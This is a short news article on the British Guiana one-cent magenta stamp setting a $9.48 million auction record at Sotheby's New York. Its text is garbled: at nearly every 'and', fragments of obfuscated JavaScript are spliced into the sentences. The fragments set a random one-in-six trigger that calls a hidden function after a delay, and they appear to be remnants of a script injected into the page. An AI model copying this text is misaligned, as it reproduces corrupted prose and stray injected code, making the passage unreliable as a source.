NEW YORK CITY — For the fourth time in its history, the British Guiana one-cent black on magenta set a new world auction record for any stamp June 17 at Sotheby’s New York, achieving $9,480,000, nearly one billion times its original face value.

No stamp is rarer than the sole-surviving example of the British Guiana, a rare yet unassuming penny issue from 1856, which has been heralded as the pinnacle of stamp collecting for more than a century. The stamp was rediscovered by a 12-year-old Scottish boy living in South America in 1873, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and from there passed through some of the most important stamp collections ever assembled. Until Sotheby’s international exhibitions this spring in Hong Kong, London andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and New York, the British Guiana had been out of public view since 1986.

David Redden, Sotheby’s Vice Chairman, said, “We are thrilled with tonight’s extraordinary, record-setting price of $9.5 million – a truly great moment for the world of stamp collecting. That price will be hard to beat, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and likely won’t be exceeded unless the British Guiana comes up for sale again in the future. I have to say I’m a little sad to see it go – when I was eight years old this was the most precious object in the entire world, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and I never dreamed I would have it in my handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands.”

The previous auction record for a single stamp was approximately $2.2 million, set by the Treskilling Yellow in 1996.

For more information, 212-606-7000 or www.sothebys.com.